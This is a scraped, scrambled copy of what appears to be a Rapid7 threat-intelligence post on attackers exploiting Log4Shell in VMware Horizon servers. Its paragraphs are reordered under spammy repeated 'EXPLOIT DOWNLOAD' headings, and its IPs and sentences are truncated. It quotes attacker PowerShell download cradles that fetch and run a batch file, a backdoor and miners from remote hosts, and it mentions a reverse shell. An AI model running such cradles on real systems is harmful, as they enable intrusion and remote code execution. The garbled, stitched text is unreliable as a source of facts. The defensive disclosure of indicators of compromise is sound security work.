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1. #VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT UPDATE#
2. #VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT FULL#
3. #VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT SOFTWARE#
4. #VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT TRIAL#
5. #VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT DOWNLOAD#

#VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT FULL#

The full list of IOCs that TIDE has observed related to this activity is as follows: $a="io:18765/qs.exe" $b="c:\windows\temp\qs.exe" $c = "c:\users\public\qs.exe" Import-Module BitsTransfer try) " Indicators of compromise (IOC) The backdoor communicates with io:19969/index.php and will execute PowerShell commands received from that host. NGrok is a tool that allows a user to tunnel traffic through a NAT or firewall. In this instance, the actor is using ngrokio URLs.

#VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT DOWNLOAD#

If this method fails, the PowerShell BitsTransfer object is used as a backup download method. One actor attempts to use to download a rudimentary backdoor from io:18765/qs.exe.

#VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT TRIAL#

This backdoor was created using the trial version of Cobalt Strike, meaning it contains the EICAR anti-virus test string which should be identified by any AV vendor. Another actor has used it to download a Cobalt Strike backdoor from 116:8080/drv. The download cradle has also been used by one unknown actor to deploy a reverse shell based on Invoke-WebRev ( ) from 221:443/dd.ps1. $wc = New-Object $tempfile = ::GetTempFileName() $tempfile += '.bat' $wc.DownloadFile('135/mad_micky.bat', $tempfile) & $tempfile The following is an example PowerShell command from this activity (note that these contents were originally base64 encoded): TIDE has observed the attacker downloading cryptocurrency miners from the following URLs:

#VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT SOFTWARE#

The most common activity sees the attacker executing PowerShell and using the built-in object to download cryptocurrency mining software to the system. Rapid7's Threat Intelligence and Detection Engineering (TIDE) team has identified five unique avenues that attackers have taken post-exploitation, indicating that multiple actors are involved in this mass exploitation activity. Organizations are advised to proactively block traffic to the IPs/URLs listed in the IOCs section.

As a general practice, Rapid7 recommends never exposing VMware Horizon to the public internet, only allowing access behind a VPN.

#VMWARE HORIZON HACKERS ARE ACTIVE EXPLOIT UPDATE#

Patch Immediately: Organizations that still have a vulnerable version of VMware Horizon in their environment should update to a patched version of Horizon on an emergency basis and review the system(s) for signs of compromise. We have a dedicated resource page for the Log4j vulnerability, which includes our AttackerKB analysis of Log4Shell containing a proof-of-concept exploit for VMware Horizon. Rapid7 researchers are currently evaluating the feasibility of adding a VMware Horizon vulnerability check for Nexpose/InsightVM. On Januthis rule has been renamed "Suspicious Process - VMWare Horizon Spawns Process".Suspicious Process - VMWare Horizon Spawns CMD or PowerShell (created: Thursday, January 6, 2022, 14:18:21 UTC).Attacker Technique - PowerShell Download Cradles (created: Thursday, January 3, 2019, 15:31:27 UTC).Rapid7 InsightIDR and MDR customers: Alerts generated by the following detection rules can assist in identifying successful VMware Horizon exploitation: Rapid7 services and research teams expect to see a continued strong upward trend in attacker activity directed at VMware Horizon instances vulnerable to Log4Shell exploits. The activity our teams are observing is similar to observed threat activity detailed by NHS Digital.

Detailsīeginning Friday, January 14, 2022, Rapid7 Managed Detection & Response (MDR) began monitoring a sudden increase in VMware Horizon exploitation. We’re sharing our observed activities and indicators of compromise (IOCs) related to this activity.

We will update this blog with further information as it becomes available.Īttackers are actively targeting VMware Horizon servers vulnerable to Apache Log4j CVE-2021-44228 (Log4Shell) and related vulnerabilities that were patched in December 2021. This post is co-authored by Charlie Stafford, Lead Security Researcher.